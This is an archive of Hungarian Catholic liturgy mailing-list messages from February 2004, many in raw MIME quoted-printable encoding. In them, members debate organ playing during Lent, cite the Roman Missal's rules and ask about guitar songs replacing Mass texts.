------=_NextPart_000_0005_01C3FD66.45FFF640-- From biacsi-l@freemail.hu Sat Feb 28 11:25:39 2004 From: biacsi-l@freemail.hu (=?iso-8859-2?Q?Biacsi_D=E1vid_SJ?=) Date: Sat, 28 Feb 2004 12:25:39 +0100 Subject: [Liturgia] Ha a levelem olvashatatlan In-Reply-To: <000801c3fd5e$698b5d00$c8ee6cd4@oroszil2> Message-ID: <000101c3fded$97eb69d0$6c01a8c0@biacsi> Kedves Listatagok, Figyelmeztettek, hogy előző levelem a kódolás miatt esetleg olvashatatlan. Ha valakinek szüksége van rá, kérem, írjon magánban, és elküldöm neki "olvasható" formában. Üdvözlettel, Dávid From robert.kovacs@chello.at Sat Feb 28 14:15:44 2004 From: robert.kovacs@chello.at (=?Windows-1252?Q?Robert_Kov=E1cs?=) Date: Sat, 28 Feb 2004 15:15:44 +0100 Subject: [Liturgia] =?Windows-1252?Q?Nagyb=F6jti_orgonaj=E1t=E9k?= Message-ID: <001101c3fe05$5b85e8e0$cc63bad4@chello.at> Kedves Listatagok, miután ekkora visszhangra lelt az elmúlt napokban a nagyböjti orgonálás témája, szeretnék én is hozzászólni. Mindenképpen el kell gondolkozni azon, hogy az orgona mennyire legyen része a liturgiának. Számomra az a megfogalmazás, hogy "a szemek és a fülek böjtje" is Nagyböjt, nem szól elég meggyözöen és logikusan. Kissé az az érzésem, hogy ha így akarjuk a böjti idö értelmét tudatosabbá tenni, akkor az nem az emberért lesz, hanem önmagáért. (Ez nem Agyböjt, hanem Nagyböjt) :))) A nagyböjti "katolikus" orgonairodalom - föleg Magyarországon - eléggé szegényes, igazán nincs is mit játszani. Ha az orgonistát megkérjük, hogy játsszon "valami halkat" vagy "visszafogottat", az szerintem így önmagában borzasztó primitív és tulajdonképpen nevetséges. Az európai, és leginkább német orgonairodalom (ez föleg protestáns zeneszerzök müveit jelenti) bövelkedik nagyböjti zenei anyaggal, és bárminek nevezhetö, csak visszafogottnak és lágynak nem. (Csak egy közismert példa: Bach: "Aus tiefer Not schrei ich zu Dir" a Klavierübung III-ból) Sajnos Magyarországon a keresztény egyházak közötti párbeszéd - ami az egyházzenét illeti - nem müködik. Csak meg kell nézni egy katolikus és egy evangélikus énekeskönyvet, és látni, hogy szinte egy kézen meg lehet számolni a közös énekeket. (Nem beszélve a zeneileg nagyon egyoldalú Éneklö Egyházról...) Kaibás Gábor Márkkal teljesen egyetértek, csak annyiban más a véleményem, hogy az orgonista ne "meditáljon" a hangszeren. Azt csinálhatja otthon. Az orgonamüvészet nem meditáció, hanem tudatos tevékenység. És föleg Nagyböjtben legyen az orgonista észnél! Ha a liturgiához méltót akar cselekedni, akkor nem elég a-mollban valamit nyomogatni. Azt is mondja a Szentírás, illetve Jézus, hogy "ne lássák az emberek, ha ti böjtöltök, mert így tesznek a farizeusok is!" Nagyböjtben nem szomorkodni kell, hanem örülni! Egyszóval nekem az a véleményem, hogy nagyböjtben igenis szóljon az orgona, ha kell, akkor "hangosan" is, csak legyen mögötte müvészi tartalom és tudja az orgonista, hogy mit játszik. És játsszon az orgonista protestáns irodalmat is! (nekik legalább van) Nem elég csak úgy "halkan valamit" játszani. A pap sem prédikál csak úgy "valami nagyböjti"-t. Vagy igen? Vidám Nagyböjtöt kívánva, Kovács Róbert From deba@dpg.hu Sat Feb 28 20:37:43 2004 From: deba@dpg.hu (=?iso-8859-2?q?Decsi=20B=E1lint=20?=) Date: Sat, 28 Feb 2004 21:37:43 +0100 Subject: [Liturgia] =?iso-8859-2?q?Nagyb=F6jti=20orgonaj=E1t=E9k=20vagy=20m=E1?= =?iso-8859-2?q?s?= Message-ID: Kedves Listatagok, Én eddig csak csendes hallgató voltam itt a listán, kicsit ki is lógok a sorból. Én Rákosfalván voltam tavajig, most Kerepes-Szilasligeten vagyok gitáros énekkar kórusvezetője/tagja. Érdekes és jó hallani a különböző hivatalos és nem hivatalos érveket, véleményeket, a Liturgiáról, orgonajátékról, stb. Mivel én az ifjúsági "gitáros" énekeket képviselem, a kérdáéseim is ilyen témájúak. Az első egy nagyböjthöz kapcsolódó kérdésem lenne. Rákosfalván volt egy szokás, a nagycsütörtöki virrasztás Jézussal. Itt felváltva hangzottak el gitáros dalok és ehhez tartozó elmélkedések, Rózsafüzér tizedek, stb. A tavaji virrasztás kicsit kilógott a sorból, mert egy Taizei imaóra keretében történt mindez, komolyzenei hangszereléssel (hegedű, fuvola, nagybőgő, stb.) A kérdés: Lehet-e egyáltalán a nagycsütörtöki szentmise után a nagyszombati feltámadási miséig valamiféle hangszeren játszani a templomban, még ha az nem is a liturgia eseményeihez kapcsolódik? Van-e erre nézve rendelkezés? A csend csak az orgonára vonatkozik, vagy másra is? És lenne egy másik kérdésem is. A szentmise állandó részeit lehet-e más szövegű dalokkal helyettesíteni? Pl. Gloria helyett: Tied a dicsőség, vagy Minden mi él, stb Sanctus helyett: Szent szent a neve ... Isten Báránya helyett: Bárányom, Bárányom, Istennek Báránya ... Ezek a gitáros "Kék könyvben" megtalálható, és ezekre a részekre egyházi jóváhagyással ajánlott dalok. Egy kántor véleménye szerint ezek nem megengedettek, mégis széles körben hallhatók a szentmiséken. Mi az igazság, mi az Egyház hivatalos álláspontja? És mi az álláspont a gitáros énekekkel kapcsolatban? Köszönöm előre is, Decsi Bálint From mrkota@freemail.hu Sat Feb 28 20:23:40 2004 From: mrkota@freemail.hu (=?iso-8859-2?Q?Kos=F3czki_Tam=E1s?=) Date: Sat, 28 Feb 2004 21:23:40 +0100 Subject: [Liturgia] =?iso-8859-2?Q?Nagyb=F6jti_orgonaj=E1t=E9k?= Message-ID: <000001c3fe3e$787a3c10$f83a95c2@orgona> This is a multi-part message in MIME format. ------=_NextPart_000_0170_01C3FE41.22809F90 Content-Type: text/plain; charset="iso-8859-2" Content-Transfer-Encoding: quoted-printable Kedves Listatagok! Most hogy =EDgy a nagyb=F5jti liturgikus orgonaj=E1t=E9k = t=F6bbsz=F6r=F6sen sz=F3ba ker=FClt, gondoltam, p=E1r sz=F3t =E9n is hozz=E1sz=F3lok. Szerintem, nem =E1rt az, ha visszafogjuk az orgon=E1l=E1st = nagyb=F5jtben, (=E9s adventben is!). =C9n a magam r=E9sz=E9r=F5l, mikor e szent id=F5k bek=F6sz=F6ntenek, = kiz=E1r=F3lag akkor orgon=E1lok a n=E9p=E9nek r=F6vid bej=E1tsz=E1s=E1n =E9s az =E9nek k=EDs=E9ret=E9n = k=EDv=FCl, mikor =FCnnep, (dec.8., m=E1rc 19., 25. ) van. (Bar=E1taimnak javasoltam is, hogy a hamvaz=F3szerda el=F5tti keddet = "orgonahagy=F3" keddnek h=EDvjuk a j=F6v=F5ben :-) =CDgy nagyb=F5jtben =E9s adventben n=E1lunk az orgonazenei =E1h=EDtat is = elmarad, jelezv=E9n az id=F5szak jelleg=E9t. Azt mondta az el=F5d=F6m mindig, hogy ha hi=E1nyzik a nagyb=F5jtben = (=E9s adventben) az orgonasz=F3, ann=E1l =F6r=F6mtelibb lesz, amikor a kar=E1csonyi = =E9jf=E9li mis=E9n, illetve a nagyszombati vig=EDli=E1ban megsz=F3lal =FCnnep=E9lyesen az orgona, =E9s az = ut=F3bbiban az allel=FAja. Teljesen igaza van. A nagyb=F5jti mis=E9kben bevonul=E1sra =E1ltal=E1ban = megv=E1rom, a cseng=F5sz=F3 ut=E1n, m=EDg a pap a f=F5olt=E1r el=E9 =E9r, =E9s csak = akkor kezdem bej=E1tszani az =E9neket, a legr=F6videbben, hogy mire az amb=F3hoz =E9r addigra =D5 is egy=FCtt = =E9nekelhesse a h=EDvekkel a kezd=F5=E9neket. Azzal a p=E1r m=E1sodperces csenddel is nagy hat=E1st lehet el=E9rni! = (Nyilv=E1n els=F5 alkalommal azt=20 hiszik a h=EDvek, hogy nincs k=E1ntor. De k=E9s=F5bb megszokj=E1k.) =C1ldoz=E1skor =FAgyszint=E9n, amikor elindul a pap =E1ldoztatni, csak = akkor kezdem bej=E1tszani az =E9neket. =C9s mikor az =E1ldoztat=E1s v=E9get =E9r, akkor m=E1r nem kezdek el = =FAjabb versszakot. =CDgy hosszabb lesz a szent csend is. Hallottam olyan gyakorlatot is, hogy a k=E1ntor az egyes =E1ldoz=E1si = versszakok k=F6zt b=F5jtben sz=FCneteket tartott. Szerintem az nem helyes, mert nagyon furcsa az hogy k=E9t vsz. k=F6zt = van f=E9l perc sz=FCnet, amikor csak a h=EDvek csoszog=E1sa, =E9s a pap(ok) szavai hallatszanak: = Krisztus Teste. Lehet, hogy van sok sz=E9p b=FBnb=E1nati tartalm=FA = kor=E1lel=F5j=E1t=E9k, sz=E9p tri=F3szon=E1ta lass=FA t=E9tel stb. amelyet zen=E9szk=E9nt tiszta = sz=EDvvel sajn=E1lok, hogy nem lehet megsz=F3laltatni. De ha az egyh=E1zi rendelkez=E9s =EDgy sz=F3l, akkor szerintem minden = k=E1ntornak, orgonam=FBv=E9sznek illik megtartani. (Az ut=F3bbi kolleg=E1knak lehet = hogy nehezebb, de meg=E9ri!!!) Tavaly advent 3. vas=E1rnapj=E1n az orgonazenei =E1h=EDtatban = elj=E1tszottam a BWV659-es Nun komm, der Heiden Heiland kor=E1lt, nagyon meghatotta az = ottl=E9v=F5ket a sz=E9ps=E9ge. =CDgy tal=E1n jobban tudatosodott benn=FCk hogy most =F6rvendetes = vas=E1rnap van, =E9s ez=E9rt sz=F3lt az orgona visszafogottan a mise v=E9g=E9n. >Kov=E1cs R=F3bert =EDrja, hogy "Nagyb=F6jtben nem szomorkodni kell, = hanem =F6r=FClni!" -Ez sz=E9p =E9s j=F3. De ha a mai =E1tlag kereszt=E9ny (tempomba is = elj=E1r=F3) embert megk=E9rdezz=FCk, hogy ugyan mondja m=E1r meg hogy milyen id=F5szak van, = nem biztos hogy r=E1 tudja v=E1gni. Ha a szertart=E1sokat visszafogjuk az alleluja =E9s a = dics=F5s=E9g mell=F5z=E9s=E9vel, =E9s b=FBnb=E1natra buzd=EDt=E1ssal, akkor nem lehet l=E1gy vagy ak=E1r = er=F5teljes, zen=E9t j=E1tszani. Legyen csend! >Kov=E1cs R=F3bert Bach: "Aus tiefer Not schrei ich zu Dir"-re = hivatkozik. -Ez bizony j=F3 =E9s fog=F3s p=E9lda. De nem vagyunk evang=E9likusok, = m=E1s liturgikus szab=E1lyaink vannak! Az ortodoxokat se tudn=E1 senki csak =FAgy r=E1b=EDrni az orgona = haszn=E1lat=E1ra...(gondolom.) A darab maga gy=F6ny=F6r=FB, nagyb=F5jti hangversenyek, =E1h=EDtatok = alkalm=E1val nyilv=E1n nagy haszonnal alkalmazhat=F3, -megfelel=F5 ismertet=E9s, = zsolt=E1rolvas=E1s ut=E1n- de nem a Szentmis=E9n. Mivel a Szentmise v=E9g=E9n a n=E9p=E9nek ut=E1n nem biztos, hogy = tudatosul a hallgat=F3s=E1gban "A m=E9lys=E9gb=F5l ki=E1lt=E1s" hangulata. A csend m=E1sk=E9pp (sokkal "er=F5teljesebben", felt=FBn=F5bben) = seg=EDti a b=FBnb=E1nat, mise ut=E1n v=E9gzend=F5 r=F6vid =E1h=EDtat fel=E9 az embert, mint az orgonasz=F3!!! A vil=E1gban mozogva, =FAgyis minden=FCtt ugyan=FAgy sz=F3l a zene. = (M=E1r ahol ezzel a jelz=F5vel lehet illetni ami sz=F3l...) Legal=E1bb a h=EDveknek ezt a heti 1 =F3r=E1t tegy=FCk = visszafogottabb=E1, csendess=E9! Szerintem nem =E1rt az sem, ha az orgonista =F6nnmag=E1ban azzal is = b=F6jt=F6l, amit nyilv=E1n nagyon szeret: s ez az orgon=E1l=E1s! (B=E1r tudom, ez nem k=F6nny=FB!) =C1ldott Nagyb=F5jt=F6t k=EDv=E1nva: Kos=F3czki Tam=E1s (http://orgona.baja.hu) ------=_NextPart_000_0170_01C3FE41.22809F90 Content-Type: text/html; charset="iso-8859-2" Content-Transfer-Encoding: quoted-printable
Kedves Listatagok!

Most hogy =EDgy a nagyb=F5jti liturgikus = orgonaj=E1t=E9k=20 t=F6bbsz=F6r=F6sen sz=F3ba ker=FClt,
gondoltam, p=E1r sz=F3t =E9n is=20 hozz=E1sz=F3lok.

Szerintem, nem =E1rt az, ha visszafogjuk az = orgon=E1l=E1st=20 nagyb=F5jtben, (=E9s adventben is!).
=C9n a magam r=E9sz=E9r=F5l, = mikor e szent id=F5k=20 bek=F6sz=F6ntenek, kiz=E1r=F3lag akkor orgon=E1lok
a n=E9p=E9nek = r=F6vid bej=E1tsz=E1s=E1n =E9s az=20 =E9nek k=EDs=E9ret=E9n k=EDv=FCl, mikor =FCnnep, (dec.8., m=E1rc = 19.,  25. )=20 van.
(Bar=E1taimnak javasoltam is, hogy a hamvaz=F3szerda el=F5tti = keddet=20 "orgonahagy=F3" keddnek h=EDvjuk a j=F6v=F5ben :-)
=CDgy = nagyb=F5jtben =E9s adventben=20 n=E1lunk az orgonazenei =E1h=EDtat is elmarad, jelezv=E9n az id=F5szak=20 jelleg=E9t.

Azt mondta az el=F5d=F6m mindig, hogy ha hi=E1nyzik a = nagyb=F5jtben (=E9s=20 adventben)
az orgonasz=F3, ann=E1l =F6r=F6mtelibb lesz, amikor a = kar=E1csonyi =E9jf=E9li=20 mis=E9n, illetve a nagyszombati
vig=EDli=E1ban megsz=F3lal = =FCnnep=E9lyesen az orgona, =E9s=20 az ut=F3bbiban az allel=FAja.
Teljesen igaza van. A nagyb=F5jti = mis=E9kben=20 bevonul=E1sra =E1ltal=E1ban megv=E1rom, a
cseng=F5sz=F3 ut=E1n, m=EDg = a pap a f=F5olt=E1r el=E9 =E9r,=20 =E9s csak akkor kezdem bej=E1tszani az =E9neket, a
legr=F6videbben, = hogy mire az=20 amb=F3hoz =E9r addigra =D5 is egy=FCtt =E9nekelhesse a h=EDvekkel a = kezd=F5=E9neket.
Azzal a p=E1r m=E1sodperces csenddel is nagy hat=E1st lehet = el=E9rni! (Nyilv=E1n els=F5=20 alkalommal azt
hiszik a h=EDvek, hogy nincs k=E1ntor. De k=E9s=F5bb = megszokj=E1k.)
=C1ldoz=E1skor=20 =FAgyszint=E9n, amikor elindul a pap =E1ldoztatni, csak akkor = kezdem
bej=E1tszani az=20 =E9neket.
=C9s mikor az =E1ldoztat=E1s v=E9get =E9r, akkor m=E1r nem = kezdek el =FAjabb=20 versszakot.
=CDgy hosszabb lesz a szent csend is.
Hallottam olyan=20 gyakorlatot is, hogy a k=E1ntor az egyes =E1ldoz=E1si versszakok k=F6zt = b=F5jtben=20 sz=FCneteket tartott.
Szerintem az nem helyes, mert nagyon furcsa az = hogy k=E9t=20 vsz. k=F6zt van f=E9l perc sz=FCnet, amikor
csak a h=EDvek = csoszog=E1sa, =E9s a pap(ok)=20 szavai hallatszanak: Krisztus Teste.

Lehet, hogy van sok sz=E9p = b=FBnb=E1nati=20 tartalm=FA kor=E1lel=F5j=E1t=E9k, sz=E9p
tri=F3szon=E1ta lass=FA = t=E9tel stb. amelyet zen=E9szk=E9nt=20 tiszta sz=EDvvel sajn=E1lok,
hogy nem lehet megsz=F3laltatni.
De = ha az egyh=E1zi=20 rendelkez=E9s =EDgy sz=F3l, akkor szerintem minden = k=E1ntornak,
orgonam=FBv=E9sznek illik=20 megtartani. (Az ut=F3bbi kolleg=E1knak lehet hogy nehezebb, de = meg=E9ri!!!)
Tavaly=20 advent 3. vas=E1rnapj=E1n az orgonazenei =E1h=EDtatban elj=E1tszottam = a
BWV659-es Nun=20 komm, der Heiden Heiland kor=E1lt, nagyon meghatotta az ottl=E9v=F5ket a = sz=E9ps=E9ge.
=CDgy tal=E1n jobban tudatosodott benn=FCk hogy most = =F6rvendetes vas=E1rnap=20 van, =E9s
ez=E9rt sz=F3lt az orgona visszafogottan a mise=20 v=E9g=E9n.

>Kov=E1cs R=F3bert =EDrja, hogy "Nagyb=F6jtben nem = szomorkodni kell,=20 hanem =F6r=FClni!"
-Ez sz=E9p =E9s j=F3. De ha a mai =E1tlag = kereszt=E9ny (tempomba is=20 elj=E1r=F3) embert
megk=E9rdezz=FCk, hogy ugyan mondja m=E1r meg hogy = milyen id=F5szak=20 van, nem biztos hogy r=E1 tudja
v=E1gni. Ha a szertart=E1sokat = visszafogjuk az=20 alleluja =E9s a dics=F5s=E9g mell=F5z=E9s=E9vel, =E9s
b=FBnb=E1natra = buzd=EDt=E1ssal, akkor nem=20 lehet l=E1gy vagy ak=E1r er=F5teljes, zen=E9t j=E1tszani.
Legyen csend!

>Kov=E1cs R=F3bert Bach: "Aus tiefer Not = schrei ich zu=20 Dir"-re hivatkozik.
-Ez bizony j=F3 =E9s fog=F3s p=E9lda. De nem = vagyunk=20 evang=E9likusok, m=E1s liturgikus
szab=E1lyaink vannak!
Az = ortodoxokat se tudn=E1=20 senki csak =FAgy r=E1b=EDrni az orgona = haszn=E1lat=E1ra...(gondolom.)
A darab maga=20 gy=F6ny=F6r=FB, nagyb=F5jti hangversenyek, =E1h=EDtatok = alkalm=E1val
nyilv=E1n nagy haszonnal=20 alkalmazhat=F3, -megfelel=F5 ismertet=E9s, zsolt=E1rolvas=E1s ut=E1n- de = nem a=20 Szentmis=E9n.
Mivel a Szentmise v=E9g=E9n a n=E9p=E9nek ut=E1n nem = biztos, hogy tudatosul=20 a
hallgat=F3s=E1gban "A m=E9lys=E9gb=F5l ki=E1lt=E1s" hangulata.
A = csend m=E1sk=E9pp (sokkal=20 "er=F5teljesebben", felt=FBn=F5bben) seg=EDti a b=FBnb=E1nat, mise = ut=E1n
v=E9gzend=F5 r=F6vid=20 =E1h=EDtat fel=E9 az embert, mint az orgonasz=F3!!!
A vil=E1gban = mozogva, =FAgyis=20 minden=FCtt ugyan=FAgy sz=F3l a zene. (M=E1r ahol ezzel a jelz=F5vel = lehet illetni ami=20 sz=F3l...)
Legal=E1bb a h=EDveknek ezt a heti 1 =F3r=E1t tegy=FCk = visszafogottabb=E1,=20 csendess=E9!

Szerintem nem =E1rt az sem, ha az orgonista = =F6nnmag=E1ban azzal is=20 b=F6jt=F6l, amit nyilv=E1n nagyon szeret: s ez az = orgon=E1l=E1s!
(B=E1r tudom, ez nem=20 k=F6nny=FB!)

=C1ldott Nagyb=F5jt=F6t k=EDv=E1nva:
Kos=F3czki = Tam=E1s

(http://orgona.baja.hu)

------=_NextPart_000_0170_01C3FE41.22809F90-- From kovacser@tippnet.co.yu Sat Feb 28 21:50:12 2004 From: kovacser@tippnet.co.yu (kovacser) Date: Sat, 28 Feb 2004 22:50:12 +0100 Subject: [Liturgia] =?iso-8859-2?B?b3Jnb25hYvZqdA==?= Message-ID: <001101c3fe44$d984dbe0$9534c8d4@racunar> This is a multi-part message in MIME format. ------=_NextPart_000_000C_01C3FE4D.39640920 Content-Type: text/plain; charset="iso-8859-2" Content-Transfer-Encoding: quoted-printable Tisztelt Listatagok! A nagyb=F6jti orgon=E1l=E1s t=E9m=E1j=E1hoz m=E9g a k=F6vetkez=F5ket = szeretn=E9m hozz=E1tenni. A Missale Romanum harmadik tipikus = kiad=E1s=E1ban (2002) a nagyb=F6jti r=E9szt bevezet=F5 4. pontban ez = =E1ll: Hoc tempore altare floribus ornari prohibetur ac sonus = instrumentorum permittitur tantum ad cantum sustentandum. (Ezen = id=F5szakban tilos az olt=E1rt vir=E1ggal d=EDsz=EDteni =E9s a = hangaszerek hangja csak az =E9nek al=E1t=E1maszt=E1s=E1ra = enged=E9lyezett.) Ugyanezt a mondatot megism=E9tli a Caeremoniale = episcoporum 252. pontja nagyb=F6jtre vonatkoz=F3an, a 397. pont halottak = napj=E1ra vonatkoz=F3an =E9s a 824. pont a temet=E9si mis=E9kre = vonatkoz=F3an. Mindk=E9t liturgikus k=F6nyv c=EDmlapj=E1n az =E1ll, hogy = a II vatik=E1ni zsinat rendelet=E9re =E9s II J=E1nos P=E1l p=E1pa = tekint=E9lye alatt adt=E1k ki. Teh=E1t a r=F3mai r=EDtusra ma is = =E9rv=E9nyes liturgikus t=F6rv=E9ny. B=E1r magam hajlamos vagyok az = egyh=E1zi el=F5=EDr=E1soknak bizalmat el=F5legezni, mivel szerintem = t=F6bb bizalmat =E9rdemel az egyh=E1z tapasztalata =E9s b=F6lcsess=E9ge = (f=F5leg ha az el=F5=EDr=E1st a hagyom=E1ny is al=E1t=E1masztja), mint = b=E1rkinek egy=E9ni v=E9lem=E9nye; itt =FAgy gondolom b=F5s=E9ges = =E9rvekkel is al=E1 lehet t=E1masztani a fenti el=F5=EDr=E1st. 1. A b=F6jt=F6t a Biblia szinte mindig =F6sszek=F6ti a gy=E1sszal. = (J=F3n 3,4 - 10; Jer 6,26; Mt 11,21) Itt az ember saj=E1t b=FBneit = gy=E1szolja, mivel megb=E1ntotta vel=FCk szeretett Ur=E1t. De a = hal=E1leseteket, nagy csap=E1sokat vagy szorog=F3 hang=FA k=E9r=E9seket = is b=F6jt k=EDs=E9rte. Tal=E1n a legfontosabb j=E9zusi mond=E1s a b=F6jt = gy=E1sz - jelleg=E9vel kapcsolatban a Mt 2,19: Elj=F6n az id=F5 amikor a = v=F5leg=E9nyt kiragadj=E1k k=F6r=FCkb=F5l, akkor majd b=F6jt=F6lnek. = Teh=E1t a J=E9zussal val=F3 egy=FCtt=E9rz=E9sr=F5l =E9s = egy=FCttszenved=E9sr=F5l van sz=F3. Maga a nagyb=F6jt ebb=F5l a magb=F3l = alakult ki. Az id=E9zet izaj=E1si r=E9sz =E9s a Mt 6 is nem a b=F6jti = gy=E1sz ellen sz=F3l, hanem a k=E9pmutat=F3, keser=FB arcot sz=EDnlel=F5 = b=F6jtre vonatkozik, mely m=F6g=F6tt nincs igazi lelk=FClet. A b=F6jt = gy=E1sz jelleg=E9t mutatja a Gloria =E9s f=F5leg az Alleluja = elt=FBn=E9se a liturgi=E1b=F3l. Mindez nem z=E1rja ki a l=E9lek = m=E9ly=E9n n=F6vekv=F5 =F6r=F6m=F6t, amely egy pillanatra felsz=EDnre = is t=F6r a IV. vas=E1rnapon, hiszen a b=F6jt=F6l=F5 megtapasztalja Isten = irgalm=E1t =E9s b=F5s=E9gesebben =E1rad=F3 kegyelm=E9t is. Ez az = =F6r=F6m viszont csak h=FAsv=E9tkor fog kirobbanni, mint a nagyb=F6jti = =F6nmegtagad=E1s, a vezekl=E9s gy=FCm=F6lcse. Teh=E1t a liturgia egy = csod=E1latos dinamik=E1t =E9s dr=E1mais=E1got rejt mag=E1ban. 2. Hogy a katolikus zeneszer=F5k nem igen =EDrtak nagyb=F6jti = orgonadarabokat, ennek oka val=F3sz=EDn=FBleg az orgonatilalom =F5si = eredete. Kicsit tal=E1n id=E9zi az =F5skereszt=E9ny kort, amikor tilos = volt a hangszerek haszn=E1lata =E9s ez =EDgy maradt R=F3m=E1ban = eg=E9szen 1600 ig, Keleten m=E1ig. A nagyb=F6jt sz=E1mos liturgiai =E9s = zenei szab=E1lya ugyanis a leg=F5sibb form=E1kat =F5rzi. 3. Az =E9nek al=E1t=E1maszt=E1shoz hozz=E1tartozik az a n=E9h=E1ny = =FCtem is, amivel egy - egy =E9neket bevezet=FCnk. Teh=E1t ez ellen = kifog=E1s nem lehet. Az elm=E9lyed=E9st azonban a legt=F6bb helyen = siralmas sz=EDnvonal=FA halk orgonaimproviz=E1ci=F3k helyett valami = m=E1s seg=EDtheti el=F5. Mondjuk az egyh=E1z zenei anyanyelv=E9t = jelent=F5 gregori=E1n, mely eredetileg csak vok=E1lis. Vagy az, amit = sokan sok helyen hi=E1nyolnak a mai t=FAlbesz=E9lt liturgi=E1b=F3l: A = CSEND. Ha a francia r=EDtus indokoltnak tartja az evang=E9lium ut=E1ni = 20 perces csendet, tal=E1n n=E1lunk sem k=F6telez=F5 a mise minden = perc=E9t kit=F6lteni besz=E9ddel, =E9nekkel vagy orgon=E1l=E1ssal. Az = igaz=E1n =E9rt=E9kes zene (az =E9rtelmes besz=E9ddel egy=FCtt) =FAgyis a = csendb=F5l sz=FCletik. Mi=E9rt f=E9l a modern ember a csendt=F5l? = Mi=E9rt nem tud elm=E9lkedni hangulatzene, h=E1tt=E9rzene n=E9lk=FCl? A = csend hangs=FAlyosabb=E1 tenn=E9 a k=E9t b=FBnb=E1nati id=F5szak = saj=E1tos jelleg=E9t. Hiszen van ideje a s=EDr=E1snak =E9s ideje a = nevet=E9snek, ideje a gy=E1sznak =E9s ideje a t=E1ncnak, ideje a = hallgat=E1snak =E9s ideje a sz=F3l=E1snak. R=E1ad=E1sul m=E9g egy = felt=E9tlen el=F5nye van a csendnek: nem kell m=E9rt=E9ken fel=FCl = ig=E9nybe venni sem az eml=EDtett Mari n=E9ni ut=E1nozhatatlan = =E9nekhangj=E1t, sem az =F5t hallgat=F3 h=EDvek t=FCrelm=E9t. =C9s a = k=E1ntor is gyakorolhatja a lemond=E1st =E9s az al=E1zatot. (Kispap = koromban olyan v=E9lem=E9nyek is el=F5fordultak t=E1rsaim k=F6r=E9ben, = miszerint nagyb=F6jtben csak csendes mise legyen. Mint az =E9nekl=E9s = =E9s zene lelkes rajong=F3ja, term=E9szetesen tiltakoztam. De mit tegyen = a k=E1ntor, ha ilyesmire vetemedne pl=E9b=E1nosa?) A szemek b=F6jtj=E9r=F5l m=E9g annyit, hogy pl. a vir=E1gd=EDsz = mell=F5z=E9s=E9nek is van hagyom=E1nya, hiszen a k=F6z=E9pkorban m=E9g a = szent=E9lyt is elf=FCgg=F6ny=F6zt=E9k a h=EDvek el=F5l (ez is az els=F5 = sz=E1zadokb=F3l sz=E1rmaz=F3 szok=E1s, mely Keleten ma is megvan), ma is = n=E9hol eltakarj=E1k az olt=E1rk=E9pet, k=E9s=F5bb a kereszteket, = n=E1lunk is. Mindez nem =FCres formalizmus, hiszen a k=FCls=F5 jelek = szimb=F3lumok, melyek el=F5seg=EDthetik benn=FCnk a megfelel=F5 = lelk=FClet kialak=EDt=E1s=E1t. Kov=E1cs Ervin. ------=_NextPart_000_000C_01C3FE4D.39640920 Content-Type: text/html; charset="iso-8859-2" Content-Transfer-Encoding: quoted-printable
Tisztelt Listatagok!
    A nagyb=F6jti = orgon=E1l=E1s t=E9m=E1j=E1hoz=20 m=E9g a k=F6vetkez=F5ket szeretn=E9m hozz=E1tenni. A Missale Romanum = harmadik tipikus=20 kiad=E1s=E1ban (2002) a nagyb=F6jti r=E9szt bevezet=F5 4. pontban ez = =E1ll: Hoc tempore=20 altare floribus ornari prohibetur ac sonus instrumentorum permittitur = tantum ad=20 cantum sustentandum. (Ezen id=F5szakban tilos az olt=E1rt vir=E1ggal = d=EDsz=EDteni =E9s a=20 hangaszerek hangja csak az =E9nek al=E1t=E1maszt=E1s=E1ra = enged=E9lyezett.) Ugyanezt a=20 mondatot megism=E9tli a Caeremoniale episcoporum 252. pontja = nagyb=F6jtre=20 vonatkoz=F3an, a 397. pont halottak napj=E1ra vonatkoz=F3an =E9s a 824. = pont a temet=E9si=20 mis=E9kre vonatkoz=F3an. Mindk=E9t liturgikus k=F6nyv c=EDmlapj=E1n az = =E1ll, hogy a II=20 vatik=E1ni zsinat rendelet=E9re =E9s II J=E1nos P=E1l p=E1pa = tekint=E9lye alatt adt=E1k ki.=20 Teh=E1t a r=F3mai r=EDtusra ma is =E9rv=E9nyes liturgikus t=F6rv=E9ny. = B=E1r magam hajlamos=20 vagyok az egyh=E1zi el=F5=EDr=E1soknak bizalmat el=F5legezni, = mivel szerintem t=F6bb=20 bizalmat =E9rdemel az egyh=E1z tapasztalata =E9s b=F6lcsess=E9ge = (f=F5leg ha az el=F5=EDr=E1st a=20 hagyom=E1ny is al=E1t=E1masztja), mint b=E1rkinek egy=E9ni = v=E9lem=E9nye; itt =FAgy gondolom=20 b=F5s=E9ges =E9rvekkel is al=E1 lehet t=E1masztani a fenti = el=F5=EDr=E1st.
    1. A b=F6jt=F6t a = Biblia szinte=20 mindig =F6sszek=F6ti a gy=E1sszal. (J=F3n 3,4 - 10; Jer 6,26; Mt 11,21) = Itt az ember=20 saj=E1t b=FBneit gy=E1szolja, mivel megb=E1ntotta vel=FCk szeretett = Ur=E1t. De a=20 hal=E1leseteket, nagy csap=E1sokat vagy szorog=F3 hang=FA = k=E9r=E9seket is b=F6jt=20 k=EDs=E9rte. Tal=E1n a legfontosabb j=E9zusi mond=E1s a b=F6jt gy=E1sz - = jelleg=E9vel=20 kapcsolatban a Mt 2,19: Elj=F6n az id=F5 amikor a v=F5leg=E9nyt = kiragadj=E1k k=F6r=FCkb=F5l,=20 akkor majd b=F6jt=F6lnek. Teh=E1t a J=E9zussal val=F3 = egy=FCtt=E9rz=E9sr=F5l =E9s egy=FCttszenved=E9sr=F5l=20 van sz=F3. Maga a nagyb=F6jt ebb=F5l a magb=F3l alakult ki. Az id=E9zet = izaj=E1si r=E9sz =E9s a=20 Mt 6 is nem a b=F6jti gy=E1sz ellen sz=F3l, hanem a k=E9pmutat=F3, = keser=FB arcot sz=EDnlel=F5=20 b=F6jtre vonatkozik, mely m=F6g=F6tt nincs igazi lelk=FClet. A b=F6jt = gy=E1sz jelleg=E9t=20 mutatja a Gloria =E9s f=F5leg az Alleluja elt=FBn=E9se a = liturgi=E1b=F3l. Mindez nem z=E1rja=20 ki a l=E9lek m=E9ly=E9n n=F6vekv=F5 =F6r=F6m=F6t,  amely egy = pillanatra felsz=EDnre is t=F6r a=20 IV. vas=E1rnapon, hiszen a b=F6jt=F6l=F5 megtapasztalja Isten irgalm=E1t = =E9s b=F5s=E9gesebben=20 =E1rad=F3 kegyelm=E9t is. Ez az =F6r=F6m viszont csak h=FAsv=E9tkor fog = kirobbanni, mint a=20 nagyb=F6jti =F6nmegtagad=E1s, a vezekl=E9s gy=FCm=F6lcse. Teh=E1t a = liturgia egy csod=E1latos=20 dinamik=E1t =E9s dr=E1mais=E1got rejt mag=E1ban.
